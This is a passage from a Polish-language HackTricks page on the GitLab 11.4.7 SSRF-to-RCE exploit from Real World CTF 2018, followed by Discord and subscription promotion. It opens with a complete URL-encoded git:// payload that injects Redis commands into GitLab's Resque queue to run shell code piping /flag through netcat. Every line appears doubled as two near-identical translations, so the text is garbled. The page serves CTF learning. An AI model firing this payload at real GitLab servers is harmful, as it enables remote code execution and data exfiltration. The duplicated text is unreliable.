git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
``` ```
_Z jakiegoś powodu (jak dla autora_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _skąd pochodzi ta informacja) wykorzystanie działało z użyciem schematu `git`, a nie schematu `http`._ _Dlaczegoś (jak autor_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _skąd pochodzi ta informacja) eksploatacja działała ze schematem `git`, a nie ze schematem `http`._
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów! Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami luk za nagrody!
**Wgląd w Hacking**\ **Wgląd w Hacking**\
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania związane z hakowaniem Zanurz się w treściach, które zgłębiają emocje i wyzwania hackowania
**Aktualności na żywo o Hackingu**\ **Aktualności z Hackingu na Żywo**\
Bądź na bieżąco z szybkim tempem świata hakowania dzięki aktualnym wiadomościom i wglądom Bądź na bieżąco z szybkim tempem świata hackowania dzięki aktualnościom i wglądom na żywo
**Najnowsze Ogłoszenia**\ **Najnowsze Ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy Bądź na bieżąco z najnowszymi programami nagród za znalezienie luk i istotnymi aktualizacjami platform
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś! **Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
<details> <details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks: Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repozytoriów github.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>